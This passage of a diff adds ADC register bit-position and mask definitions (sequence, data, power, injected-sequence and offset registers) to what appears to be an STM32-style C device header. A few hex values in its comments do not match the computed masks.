(0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << 